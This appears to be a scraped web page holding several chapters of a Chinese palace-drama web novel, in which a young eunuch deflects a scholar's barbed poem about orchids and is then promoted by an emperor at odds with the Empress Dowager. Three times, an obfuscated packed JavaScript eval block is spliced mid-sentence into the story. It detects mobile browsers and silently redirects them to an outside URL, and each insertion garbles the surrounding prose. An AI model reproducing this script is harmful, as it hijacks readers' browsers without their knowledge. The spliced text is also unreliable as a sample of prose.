他抬起头,第一次在御前,将视线平平地抬起,却不是看向皇帝,也不是看向咄咄逼人的状元郎,而是看向了御案一角那盆开得正好的素心寒兰。 然后,他转向萧衍,躬身行礼,声音清晰平稳,既无惶恐,也无怒意: “回陛下,桑状元学富五车,才高八斗,乃天下士子楷模。奴才卑贱,不识诗书,只知尽心伺候陛下,做好分内之事。至于皮相、风骨、才情之论。奴才愚钝,不敢妄评。只知兰生幽谷,不以无人而不芳。陛下殿中之兰,亦不以是否有人品评,而减其清雅。” 他答得极为巧妙。先是放低姿态,承认自己卑贱无知,避开直接对抗。接着,以兰生幽谷,不以无人而不芳自喻,既回应了桑连云空有皮囊的暗讽,又含蓄地表明了宠辱不惊的态度。最后将话题引向御案旁的兰花,既拍了皇帝马屁,又将一场针对他个人的锋芒,化解于无形。 不卑不亢,有理有节,甚至带着一点超然物外的意味。 桑连云眼中掠过一丝明显的错愕。他完全没料到,一个小太监,能有如此机变,说出这样一番话来。那兰生幽谷的典故用得恰到好处,虽不算多么精深,但在这种情况下,其应对的从容与言辞的得体,远超他的预期。 萧衍眼底深处,一丝极淡的兴味转瞬即逝,他看了看关禧,又看了看面色微僵的桑连云,抚掌轻笑起来:“好一个兰生幽谷,不以无人而不芳!小离子,你虽自称不识诗书,这话倒有几分意趣。”他转向桑连云,笑意更深,“桑卿,你看,朕这宫里,是不是也有趣得紧?” 桑连云压下心头翻涌的复杂情绪,勉强一笑:“陛下宫闱之中,藏龙卧虎,是微臣浅薄了。”话虽如此,他看向关禧的眼神,更多了几分审视,以及一丝被拂了面子的愠意,他沉吟片刻,忽然道:“陛下,既然这位小公公以兰自比,微臣不才,近日偶得一首咏兰小诗,愿吟与陛下品评,亦请这位小公公指正。” 这是不服气,要当场考较,或者说,是变相的报复了。他要以自己最擅长的诗文,彻底压服这个方才让他有些下不来台的小太监。 萧衍岂会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045196|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知他的心思,并不阻拦,颇有兴致地点头:“哦?桑卿新诗?快快吟来。” 桑连云清了清嗓子,目光若有实质地落在关禧身上,缓缓吟道: “寂寂空谷影,猗猗独自芳。 岂因俗眼识,幽意本深藏。 偶作阶前色,终非世外香。 可怜金玉质,零落委尘霜。” 诗句清雅,咏的确实是兰。但偶作阶前色,终非世外香两句,分明是暗讽关禧身为阉人,却置身御前,看似清贵,实则早已失了本真高洁。最后可怜金玉质,零落委尘霜,更是直接预言其即便有再好皮相,最终也难免卑贱污浊的下场。 诗意刻薄,文人骂人,不见脏字,字字诛心。 吟罢,桑连云面带得色,“微臣拙作,让陛下见笑了。不知小公公可能领会其中一二幽微之意?” 压力再次如山般压下。殿内所有人的目光都集中在了关禧身上。 关禧站在那里,玄青的衣袍衬得他脸上没什么血色。他听着那首诗,每一个字都像针,扎在他那早已千疮百孔又强自支撑的自尊上。 空有皮囊?委身尘霜? 是啊,在这些人眼里,他不过是个玩意儿,是个连风骨才情都不配有的残缺之物。 可是…… 他抬起头,看向了桑连云,那眼神很静,静得像深秋的潭水,映不出多少情绪,却让桑连云没来由地心头一凛。 “桑状元才思敏捷,奴才佩服。奴才不通诗理,不敢妄解状元大作深意。只是忽然想起……想起幼时在乡间,曾见农人育兰。兰草娇贵,需精心呵护,稍有不慎,便叶黄根腐。反倒是那山间野兰,餐风饮露,无人照料,却往往开得最盛,香气也最是清烈持久。” “奴才愚见,或许……真正幽意深藏、本真高洁之物,不在于是身处空谷还是阶前,而在其根本是否强健,能否……经得起风雨磋磨,守得住一点本心。否则,即便远离尘嚣,若根骨孱弱,恐怕也难逃凋零。桑状元您说,是不是这个道理?” 他没有直接反驳桑连云的诗,而是另辟蹊径,从一个更朴素,更根本的角度去谈“兰”。将话题从皮相,风骨,处境的争论,引向了生命力的强弱与本心的坚守。言下之意,你讥讽我身处污浊,焉知我内里没有强韧的根骨?你自诩清高,若心志不坚,身处空谷又何尝不会凋零? 这一番话,看似谦卑请教,实则棉里藏针,不仅将桑连云咄咄逼人的诗意化解于无形,更隐隐有反将一军之意。尤其是最后那句反问,语气平和,却让桑连云一时竟有些语塞。 他总不能再作一首诗去跟一个小太监争论兰花的种养之道吧?那才是真正的自降身份。 萧衍看着这一幕,眼中的兴味几乎要满溢出来。他没想到,这个小离子,不仅模样合他眼缘,这分急智和沉稳,更是出乎意料。看着桑连云那副吃瘪又不好发作的样子,他心情莫名愉悦。 “好了,”萧衍适时开口,打破了有些凝滞的气氛,“桑卿诗才,朕素知。小离子么……倒也有些朴拙之见。兰之高洁,本就不拘一格。今日论兰,颇有意趣。”他挥了挥手,“桑卿且先退下吧。朕与安宁提过,过几日琼林苑宴,让你也去。年轻人,多走动走动。” 桑连云知道今日已讨不到好,隐隐落了下风,只得按下心头憋闷,躬身行礼:“微臣遵旨,谢陛下。微臣告退。”临走前,他又深深看了一眼那个垂首退回小几旁的玄青色身影,眼神复杂难言。 待桑连云退出殿外,萧衍才重新拿起朱笔,仿佛刚才那场小小的交锋从未发生。只是,他批阅奏章的速度,比刚才慢了些,目光偶尔抬起,落在那个默默重新开始研墨的少年身上,停留的时间,比以往任何一次都要长。 殿内重归寂静。 关禧低垂着眼,手腕稳定地画着圈,研磨着那上好的龙香墨锭。无人看见的袖中,他的指尖,正颤抖。 方才那番应对,几乎耗尽了他昨夜以来强行凝聚的所有心力。桑连云的诗,像一把淬毒的匕首,将他竭力掩饰的屈辱和恐惧重新剖开。而他的反击,看似漂亮,实则每说一个字,都像是在刀尖上行走。 从今日起,他不仅要在皇帝的审视下战战兢兢,还要提防来自那些清流才俊的明枪暗箭。他的出众,成了原罪。 兰生幽谷,不以无人而不芳? 他心中苦笑。在这吃人的深宫,他这株兰,只怕连幽谷都算不上,不过是御阶旁一株随时可能被碾碎的野草。能做的,也只是在风雨袭来时,勉强挺直一瞬那单薄的茎叶罢了。 50.第 51 章 窗外,秋日的天色,不知不觉,已染上了暮色。 乾元殿内鎏金蟠龙柱的阴影被拉得斜长,层层漫过光亮的金砖地,将御座所在的高台衬得愈发幽深。鎏金香炉里龙涎香的青烟,在渐暗的光线里笔直而上,到了穹顶便散开,融进一片昏蒙里。 萧衍搁下了手中的朱笔。 那一声轻响,在过分安静的大殿里格外清晰。 关禧研墨的动作应声而止,手腕悬在半空,指尖还捏着墨锭。他抬起眼,是恭敬垂视的角度,看见萧衍从御案后站起身,活动了一下有些僵硬的脖颈。杏黄色的常服袖口滑落,露出一截线条有力的小臂。 “什么时辰了?”萧衍问。 侍立在不远处的高阶太监立刻趋步上前,躬身回道:“回陛下,申时三刻了。” “嗯。”萧衍应了一声,目光似是随意地扫过关禧,“研磨了这许久,手腕可还使得上力?” 关禧心头微紧,立刻躬身:“回陛下,奴才份内之事,不敢言累。” 萧衍不置可否,踱步到窗前,望着外面天际最后一抹挣扎的橘红色霞光,将巍峨宫檐的剪影映得格外森然。半晌,他转过身,淡淡道:“摆驾,永寿宫。朕去陪太后用晚膳。” “是。”高阶太监应下,正要转身去安排。 萧衍又补充了一句,语气随意得像在吩咐添一盏茶:“让他也跟着。” 殿内侍奉的众人,包括那高阶太监,都几不可察地顿了一下。目光瞬间隐晦地聚焦在关禧身上。 永寿宫,太后居所。皇帝去陪太后用膳是常事,但特意点名带一个刚在御前伺候不过两日,品阶低微的小太监同去,这是破天荒头一遭。这其中意味,耐人寻味。 关禧脑中“嗡”的一声,刚刚勉强压下的疲惫和紧张卷土重来,甚至更甚。永寿宫……太后郑书意……那个仅有一面之缘,却给他留下深刻压迫感的年轻太后。皇帝带他去那里做什么?是真的只是随口一提,还是……另一种形式的展示,或者考验? 他不敢迟疑,立刻跪下:“奴才遵旨。” 没有时间给他整理思绪,更没有机会回承华宫换一身更正式或许也更不起眼的衣裳。萧衍的旨意就是一切。很快,御前伺候的太监宫女们迅速地行动起来,掌灯的掌灯,备辇的备辇,整理仪容的整理仪容。 关禧被带到偏殿一角,两名面无表情的小太监端来铜盆,布巾,示意他净手。水温适中,布巾柔软,洗去指尖沾染的墨渍,也暂时冷却了他掌心渗出的冷汗。 有人递上一小盒散发着清冽气味的膏脂,示意他敷手。关禧机械地照做。 等他重新回到正殿时,萧衍已换了一身更为正式的明黄色常服,头戴翼善冠,正由宫女整理腰间的玉带。殿外,皇帝的步辇已然备好,前后仪仗肃立。 “走吧。”萧衍看了关禧一眼,率先向殿外走去。 关禧深吸一口气,低头跟上,步履间,那身玄青云纹的贡缎在渐浓的夜色和明亮的宫灯映照下,流转着幽暗内敛的光泽,将他本就苍白的脸色衬得几乎透明。他走在御辇侧后方不远不近的位置,属于皇帝仪仗的一部分,却又如此格格不入。 无数道目光从四面八方投来,探究,惊讶,估量,乃至隐含敌意的,像细密的针,刺在他裸露的皮肤上。 从乾元殿到永寿宫的路不算近,需穿过数道宫门,经过漫长的宫道。秋夜的风已带了刺骨的寒意,吹得旌旗猎猎作响,也吹得关禧单薄的衣衫紧贴在身上。他尽力挺直背脊,目光落在前方御辇华盖垂下的流苏上,随着步辇的起伏微微晃动。辇上的萧衍身影端坐,隐在纱幔之后,看不真切。 沿途遇到的宫人,无论是低阶太监宫女,还是巡夜的侍卫,无不远远便跪伏在地,屏息静气,直到仪仗过去才敢抬头。这份天家威严,比乾元殿内更直观,也更沉重地压在关禧心头。 不知走了多久,前方出现一片规模宏大,灯火更为辉煌的宫殿群。与乾元殿的庄严肃穆,承华宫的精致婉约不同,永寿宫在夜色中显出一种历经岁月沉淀的华贵,檐角飞翘,廊庑深深,处处透着不动声色的威仪。宫门前悬挂的宫灯硕大明亮,将汉白玉台阶照得纤毫毕现,上面雕刻的祥云瑞兽图案清晰可见。 步辇在宫门前稳稳停下。早有永寿宫的管事太监率领一众宫人跪迎在道旁。 萧衍下了步辇,径直向宫内走去。关禧跟在那高阶太监身后,垂首疾步随行。跨过高高的门槛,永寿宫内的气息扑面而来。 那是比乾元殿更为醇厚馥郁的香料气息,混合着暖融融的地龙热气。殿内灯火通明,光晕柔和,将一室奢华陈设,多宝阁上的玉器古玩,墙上名家字画,紫檀木家具上细腻的雕工,映照得温润生辉,每一处细节都在诉说着底蕴与尊荣。 正殿深处,一座宽大的紫檀木嵌螺钿凤纹宝座上,郑书意正端坐着。她也刚换过衣裳,穿着一身绛紫色织金凤纹常服,比那日来承华宫时更为正式庄重,乌发梳成高髻,戴着一套赤金镶红宝的凤凰展翅头面,凤凰口中衔下的明珠正垂在眉心,光华夺目。她手里捻着一串沉香木佛珠,正侧首,听着身旁一位老嬷嬷低声回话,眉眼间是惯常的从容温和。 “儿子给母后请安。”萧衍上前几步,躬身行礼,语气恭敬。 “皇帝来了。”郑书意脸上绽开笑容,那笑容恰到好处,亲切又不失威仪,“快起来。今日朝事可还顺遂?哀家估摸着你该来了,特意让小厨房备了你爱吃的蟹粉狮子头和火腿鲜笋汤。”她说着,目光已自然而然地掠过萧衍,落在他身后那个垂手肃立,穿着崭新玄青太监服的少年身上。 那目光,温和依旧,却让关禧瞬间感到自己像被放置在琉璃罩下,每一寸都被清晰审视。他立刻跪下行礼,额头触地:“奴才小离子,叩见太后娘娘,太后娘娘万福金安。” “哦?这就是皇帝新近带在身边伺候笔墨的那个孩子?”郑书意语气带着恰到好处的好奇,仿佛第一次见,“抬起头来,让哀家瞧瞧。皇帝可是难得夸人仔细。” 关禧依言抬头,视线低垂,落在太后宝座前铺设的牡丹缠枝纹地毯上。 殿内烛火透过茜纱宫灯,落了他一身柔光,愈发显得那肤色如初雪新瓷,净白得几乎透光,眉眼沉静低垂时,睫影如蝶栖,鼻梁挺直,唇色是天然一段嫣红,不点而朱。 这张脸生得精致,轮廓尚未完全脱去少年的柔润,又在清俊中透着几分江南水墨般的温润气韵,一眼望去竟似难以立刻辨明男女,只觉好看得让人移不开眼。 “模样是齐整,瞧着也安静。”郑书意微微颔首,目光在少年秀致的面容上停留片刻,转向萧衍,笑道,“皇帝如今也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063760|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会调理人了。这身衣裳也合衬,是你赏的?” 萧衍在一旁的锦墩上坐下,接过宫女奉上的热茶,吹了吹浮沫,语气平淡:“冯昭仪宫里的人,做事还算稳妥。前日见他衣裳旧了,便让冯昭仪看着裁了两身新的。御前行走,总需些体面。” “冯昭仪向来细心。”郑书意点头,目光重新回到关禧身上,话锋一转,“只是哀家记得,这孩子当初是王元宝挑进宫的?王元宝那个人,眼光是毒,专挑好的。只是有时候,太好了,反倒容易惹是非。皇帝将他放在御前,固然是用其长才,也要多费心教导,莫让底下人觉得,单凭一副好相貌,就能得了青眼,乱了尊卑分寸。这宫里,最要紧的是规矩。” 这番话,听起来是慈母对儿子的寻常提醒,关切中带着教诲。但字字句句,都敲打在关禧最敏感脆弱的地方。王元宝的眼光,好相貌,乱了尊卑……太后在用最温和的方式,点出他身份的尴尬和可能带来的非议,也是在提醒皇帝,甚至是在……警告。 关禧伏在地上,背脊绷紧,指尖冰凉。太后的每一句话,都像是一层无形的冰霜,覆盖在他身上。 萧衍呷了口茶,神色未变,淡声道:“母后教训的是。儿子心里有数。不过是看他研磨烹茶还算静心,字也写得端正,留着伺候笔墨罢了。规矩,自然有管事的太监教导。若是不堪用,或起了不该有的心思,打发了便是。” 他说得轻描淡写,仿佛关禧真的只是一件合用的文具,用旧了,不顺心了,随时可以丢弃。这种置于掌中随意评断生死的淡漠,比太后的敲打更让关禧感到彻骨的寒意。 “皇帝明白就好。”郑书意满意了这个答案,脸上笑容加深,“好了,不说这些了。晚膳已备好,咱们母子也有些日子没好好一起用顿饭了。这孩子……”她看了一眼跪着的关禧,“既然皇帝带来了,便让他也在外间伺候着吧。” 这便是允许他留下了,在外间伺候。永寿宫的正殿与用膳的暖阁之间,隔着数重帘幔,他在外间,连皇帝太后二人的面容都看不清,只能做个背景。 “还不谢过太后恩典?”萧衍的声音传来。 关禧再次叩首:“奴才谢太后娘娘恩典。” 起身后,自有永寿宫的太监引着他,悄无声息地退到正殿与暖阁相连的珠帘之外。位置巧妙,既能隐约听到里面轻微的交谈和碗筷声,又绝不会窥见内里情形。 时间缓慢流逝。 不知过了多久,里面的动静渐渐小了,用膳已近尾声。 忽然,郑书意的声音稍稍提高了些,带着笑意传来:“……说起来,前几日哀家去御花园散步,瞧见几株绿梅已结了骨朵,今年倒是早。皇帝若有闲暇,不如陪哀家去看看?咱们娘俩也好说说话。” 萧衍的声音随即响起,同样带着笑意,却听不出太多情绪:“母后既有此雅兴,儿子自当奉陪。只是今日时辰已晚,外面风大,母后还需保重凤体。不如明日晌午,儿子陪母后一同赏梅?” “也好。”郑书意笑道,“那便说定了。” 接着,便是碗筷搁下的声音,宫女上前伺候漱口,净手的细微响动。 关禧知道,自己退场的时候快到了。 果然,很快那高阶太监从里面掀帘出来,对他低声道:“陛下和太后娘娘要用茶了,你去殿外候着吧。” 51.第 52 章 关禧躬身应是,跟着他悄然退出永寿宫正殿,重新站回秋夜寒冷的庭院中。 殿内,茶香袅袅升起。 暖阁里灯影柔和,将紫檀木嵌螺钿的圆桌映得温润。桌上已撤了膳席,换上了两盏雨过天青的薄胎瓷茶盏,盏中茶汤澄澈,热气氤氲,是江南新贡的明前龙井,清香徐徐。 萧衍与郑书意相对而坐。 宫女太监们早已屏息退至暖阁珠帘之外,垂手侍立。 萧衍端起茶盏,指尖摩挲着微烫的瓷壁,目光落在茶汤中舒卷的嫩芽上,有些漫不经心:“母后这里的茶,总是比别处更清冽几分。可见凡事经母后之手,必是精益求精。” 郑书意捻着佛珠的手指一顿,抬起眼,笑容温婉如常:“皇帝喜欢,便多喝些。不过是些旧年积习,总觉得入口的东西马虎不得。前朝事忙,皇帝也要多顾惜身子,饮食起居,身边人更得精心。”她似无意般提起,“说起来,哀家瞧着今日跟来的那个小太监,倒比上次在承华宫见时,更多了几分沉稳。冯昭仪调理人,是用了心的。” 话题又引回了关禧身上。 萧衍眼睫微垂,吹了吹茶沫,饮了一口,才缓缓道:“不过是些微末小事,母后挂心了。前朝政务繁杂,千头万绪,用人理事,更需处处权衡。有时候,儿子倒觉得,身边得用的人太少,耳目也不甚灵通。”他抬起眼,看向郑书意,“譬如吏部考功司郎中出缺,各方举荐人选不下五六,皆是资历深厚的老臣,或与朝中某些耆旧渊源颇深。儿子翻看他们的履历、考绩,反倒觉得,有些年轻官员,锐意进取,倒未必不能破格一用。” 暖阁内的空气似乎凝滞了一瞬。鎏金香炉里吐出的青烟都笔直了几分。 郑书意脸上的笑容未变,只是捻动佛珠的速度,微不可察地快了一线。她放下茶盏,盏底与紫檀桌面相触,发出“磕”的一声。 “皇帝锐意求新,是好事。只是朝堂用人,牵一发而动全身。老臣们固然有些暮气,但胜在持重,熟知旧例,能稳局面。年轻官员有冲劲,却难免思虑不周,行事或显毛躁。吏部考功司掌管官员考课升迁,责任重大,更需老成谋国之士坐镇。先帝在时,常与哀家说,治国如烹小鲜,火候急不得。皇帝初登大宝,欲展抱负,哀家心中欣慰。但有些事,还需多看,多听,徐徐图之。像徐阶徐侍郎,便是先帝一手提拔,这些年兢兢业业,如今他女儿在宫中又有了喜,正是该安抚重用的时候,他举荐的人,想必也是稳妥的。” 徐阶,吏部左侍郎,徐昭容之父,亦是太后一系颇为倚重的新贵。郑书意这番话,看似劝诫,实则已将态度摆明:重要位置,仍需用她认可的人,尤其是与后宫有牵连,利益捆绑更深的。 萧衍握着茶盏的手指收紧,指节泛出青白色。他年轻的面容在暖黄灯光下,线条绷得有些僵硬。母后的话,滴水不漏,又寸步不让。前朝重要臣工,多少与永寿宫有着千丝万缕的联系,或出自太后母族郑氏一系的提携,或是经年依附的老臣。他想要提拔真正属于自己的班底,难如登天。 一股郁气在胸腔里翻涌。他忽然觉得,这温暖馨香的暖阁,比外面秋夜的寒风更让人窒息。 “母后教诲的是。”萧衍的声音冷了几分,放下茶盏,那“咚”的一声,比方才郑书意那下更重些,“儿子有时也觉得,不仅是前朝,便是这身边,也未必处处贴心。” 他目光转向珠帘之外,那里隐约可见宫女太监垂首的身影,声音里带上了明显的讥诮:“便说这乾元殿里,扫洒的,传膳的,研墨的……怕是连儿子每日批了多少奏章,见了哪些人,说了些什么话,都有人一字不落地记着,等着往该报的地方报吧?儿子有时想,这皇帝当的,倒像是活在琉璃罩子里,四面八方都是眼睛,半点隐私也无。” 这话,已是相当直白的不满了。指责太后手伸得太长,连他的日常生活都在监控之下。 郑书意捻动佛珠的手终于停了下来,脸上的笑容渐渐淡去,“皇帝,你是天子,天家无私事。你的一举一动,关乎国本,哀家多问几句,多留心些,也是为你,为这江山社稷着想。岂能混同于寻常百姓家的隐私?倒是皇帝你,年纪渐长,有些事,也该懂得分寸了。” 她意有所指,“前朝之事,自有祖宗法度、朝臣议定。后宫之内,皇帝更应谨守礼制,为天下表率。子嗣之事,乃国本所系,皇帝登基数载,后宫却一直无所出,朝野早有议论。如今徐昭容有幸怀有龙裔,此乃天大的喜事,皇帝更应多加抚慰,以安臣民之心。” 提起徐昭容,萧衍的脸色瞬间阴沉下去。 “徐昭容?母后当真以为,她那胎是怎么来的?朕那几日……”他咬了咬牙,额角青筋隐现,那段记忆显然让他极其不快,甚至恶心,“我是有些……不适,精神不济。她趁机在熏香、饮食中动了手脚,用了些下作不堪的宫外秘药!若非张太医私下禀报,我还被蒙在鼓里!如此心术,如此手段,母后还要我多加抚慰?” 暖阁内的温度骤降。郑书意的脸色也沉了下来。徐宛白用了手段,她未必不知情,甚至可能默许。但在皇帝如此直白的揭露面前,她无法再故作不知。 “皇帝!无凭无据,岂可随意污蔑后宫妃嫔,尤其是怀有龙裔的妃嫔!徐昭容年轻,或许有行事不当之处,但她腹中胎儿总是你的骨血!难道皇帝要因一时好恶,置皇室血脉于不顾?” “骨血?用龌龊手段得来的骨血?”萧衍霍然起身,明黄的袍袖带翻了手边的茶盏,残茶泼洒在昂贵的牡丹缠枝地毯上,洇开深色的污渍,“我宁愿没有这样的骨血!母后口口声声为了江山社稷,为了国本,可曾想过我的感受?我想要什么,不想要什么,在母后眼里,是不是从来都不重要?我连身边放个合眼缘、能让自己稍微舒心点的太监,都要被人反复掂量、揣测、敲打!这皇帝当的,还有什么意趣?!” 他胸口剧烈起伏,长久以来积压的对太后掌控的逆反,对自身处境的不满,对被迫接受子嗣的屈辱,在此刻轰然爆发。 郑书意也站了起来,母子二人隔着圆桌对峙,她脸上再无一丝笑意,目光锐利如刀,紧紧盯着自己一手扶上帝位,如今却试图挣脱掌控的儿子。 “皇帝!你放肆!哀家所做一切,哪一件不是为了你,为了萧家天下?!你不好女色,偏爱……偏爱那些上不得台面的,哀家可曾明面上拦过你?不过是让你收敛些,注意天家体统!徐昭容之事,纵然手段不妥,但结果总是好的!有了皇子,才能堵住天下悠悠之口,稳固你的帝位!你却在这里跟哀家计较什么感受、意趣?皇帝,你太让哀家失望了!” “体统?失望?”萧衍怒极反笑,他环视这间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065234|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华丽的暖阁,目光最终定格在珠帘之外,那个隐约可见,静静伫立的玄青色身影上。 他猛地抬手,指向珠帘外: “好!母后说我身边没有贴心人,说我不懂分寸!那我今日就告诉母后,我觉得这小离子甚好!他模样合我眼缘,做事沉稳,言谈也有趣!比那些只知道盯着我、给母后报信的东西强上百倍!” “传朕旨意!”他提高声音,确保暖阁内外都能听清,“承华宫太监小离子,侍奉勤谨,心思灵巧,即日起擢升为乾元殿书房行走,准七品首领太监衔,专司御前笔墨典籍事宜!赐居乾元殿西配殿耳房,一应用度,按例支取!” 这道旨意,就像惊雷,炸响在寂静的永寿宫暖阁内外。 七品首领太监!乾元殿书房行走!赐居配殿! 这已不是简单的青睐或提拔。这是连越数级,将一个低等的书斋太监,直接拔擢到了御前近侍的中层位置,更是给予了靠近皇帝居所的殊荣。这等恩宠,在近年内侍晋升中,绝无仅有。 珠帘外,隐约传来一阵极力压抑的抽气声和衣衫摩擦的窸窣声。永寿宫的太监宫女们面面相觑,惊疑不定。 暖阁内,郑书意的脸色,在那一瞬间变得异常难看。她死死盯着萧衍,眼中风暴汇聚,那不仅仅是愤怒,更有一种掌控权被公然挑衅,脱离预期的震怒。皇帝这是在用提拔一个她刚刚提醒过要注意分寸的小太监,来狠狠打她的脸,来宣告他的反抗,来证明他至少还能决定身边用谁。 而这小离子…… 冯媛的人,王元宝挑的货色,皇帝一时兴起的玩物……如今,竟成了他们母子博弈的棋子,而且是被皇帝亲手举到了明面上。 萧衍迎着太后震怒的目光,胸膛起伏,他知道这道旨意意味着什么,知道这将把小离子彻底推到风口浪尖,知道会引来更多非议和太后更深的忌惮。但他不在乎了。他受够了这无处不在的桎梏,总要有一次,是他自己说了算。 “母后若无其他教诲,儿子便告退了。”萧衍一字一句说完,不再看郑书意青白交加的脸色,转身,拂袖而去。 珠帘被他一把掀开,撞出哗啦一片碎响。 庭院中,关禧垂首站在原地,单薄的肩膀绷紧,垂在身侧的指尖,冰凉,微微颤抖。 萧衍的脚步在他面前顿了一下,目光掠过他毫无血色的侧脸,停留了一瞬,然后,头也不回地大步向外走去,丢下一句话: “还愣着做什么?跟上。” 关禧喉咙发干,机械地移动脚步,跟在那道明黄色的背影之后。 身后,永寿宫暖阁内,死寂一片。 郑书意坐回紫檀木宝座中,手指紧紧攥着那串沉香木佛珠,指节因用力而发白。她望着还在晃动的珠帘,望着儿子消失的方向,脸上的震怒渐渐退去。 她端起那盏早已凉透的茶,凑到唇边,却并未饮下。 半晌,她将茶盏重重顿在桌上: “去,给哀家查清楚。那个小离子,从入宫到现在,每一件事,接触过什么人,说过什么话,一丝一毫,都不许漏。” 暖阁阴影里,江嬷嬷躬身,应道:“是。” 窗外,秋风呜咽,卷过永寿宫高高的飞檐,将那宫灯吹得明明灭灭,将一室尚未散尽的茶香与剑拔弩张的余烬,搅得纷乱不堪。 52.第 53 章 关禧跟在萧衍身后,几乎是深一脚浅一脚地走出了永寿宫的范围。 萧衍没有回头,步履很快,明黄色的身影在宫灯和夜色中显得既威严又疏离。他径直登上了等候在永寿宫门外的御辇。 “起驾——”高阶太监一声唱喏,仪仗再次移动。 关禧茫然地站在原地,看着御辇远去,一时间竟不知该何去何从。皇帝的旨意言犹在耳,但他该跟着御辇回乾元殿吗?还是……自己走回去? 很快,一个身影悄然来到了他身侧。正是方才在乾元殿引他,在永寿宫暖阁外侍立的那位高阶太监,面白无须,眉眼细长,脸上带着看不出真实情绪的微笑。 “小离子公公,”他开口,声音不高不低,在夜风里清晰可闻,“陛下旨意已下,咱家这就带你去西配殿的住处安顿。请随咱家来。”他自称“咱家”,姿态也足够客气,但那双眼睛里,却没什么温度。 关禧认得他,是常在御前走动的大太监之一,姓孙,孙得禄,官居乾元殿副总管,品级不低,是真正能在皇帝跟前说得上几句话的内侍头面人物之一。太后方才的话犹在耳边,这乾元殿里,怕是没有几双眼睛真正干净。这位孙副总管,是谁的人?皇帝的?太后的?还是……仅仅是他自己? “有劳孙副总管。”关禧压下心头翻腾的思绪,垂首应道,声音有些干涩。 孙得禄不再多言,转身引路。走了另一条稍僻静些的宫道,径直往乾元殿西侧而去。 西配殿位于乾元殿主建筑群西侧的附属殿宇,通常供御前得用的高级内侍,或临时留宿的近臣歇脚值夜。耳房则是配殿两侧或后部更小一些的房间,虽不如正经宫室轩敞,但对于一个太监而言,已是难得的恩典。 孙得禄在一处挂着“静尘”二字小匾的耳房前停下。门虚掩着,里面透出温暖的光亮。 “就是这儿了。”孙得禄推开门,侧身让关禧进去,“陛下特意吩咐收拾出来的,一应用具都是新的。小离子公公看看,可还缺什么少什么,尽管开口。” 关禧踏进门槛。 一股暖气混杂着新木器新布帛和熏笼里银炭的气息扑面而来。房间不大,但极其齐整。靠墙一张榆木架子床,挂着青布帐子,铺着厚实干净的簇新被褥。临窗一张书案,文房四宝俱全,旁边一个小巧的多宝架,空荡荡的,等待主人填充。墙角立着衣柜,脸盆架,甚至还有一个不大的炭盆。地上铺着素色的毡毯,虽不名贵,却厚实柔软。 一切都显示着,这里早已准备妥当,只等他的到来。这份周到,让他心头愈发沉重。 孙得禄拍了拍手,门外立刻进来两个十三四岁的小火者,一人手里捧着一套折叠整齐的衣裳,另一人捧着一个黑漆托盘,上面放着一块深色木牌和几件琐碎物品。 “这是按七品首领太监规制新赶制的公服和常服,用的是内织染局新进的料子,你试试是否合身。”孙得禄指着那套衣裳,那是比玄青更深一些的靛蓝色,镶着暗色的滚边,质地明显更加挺括厚实,旁边还有一套鸦青色的常服,亦是崭新。 “这是你的腰牌,”孙得禄又拿起那块深色木牌,递到关禧眼前,木牌约两指宽,一掌长,打磨光滑,正面阴刻着“乾元殿行走”五个规整的楷字,背面则是更小的“七品首领太监小离子”以及一串编号。 “凭此牌可在宫内相应处所行走,需妥善保管,不可遗失。” 关禧接过腰牌,这小小的木牌,是他新身份的象征,也是一道更沉重的枷锁。 两个小火者将衣裳放入衣柜,又将托盘上的新毛巾,皂角,梳篦等物一一在脸盆架旁摆好,然后垂手退到门外。 孙得禄环视一圈,颇为满意,脸上那模式化的笑容加深了些:“你看,陛下想得周到,这里什么都是齐全的。往后你就在御前当差,尽心伺候好陛下,前程自是不可限量。” 关禧看着这间舒适得过分的屋子,看着那代表身份跃升的靛蓝公服和腰牌,脑子里一片空白。这里什么都有,唯独没有一件是属于关禧或者小离子旧日时光的东西。那间承华宫西厢尽头阴冷简陋的小屋,那些他偷偷藏起书籍,甚至那套楚玉昨夜才送来的新衣……都还在那里。 他下意识地脱口而出:“孙副总管,我……小的还有些旧物留在承华宫书斋旁的住处,可否容小的回去取一趟?很快就回来。” 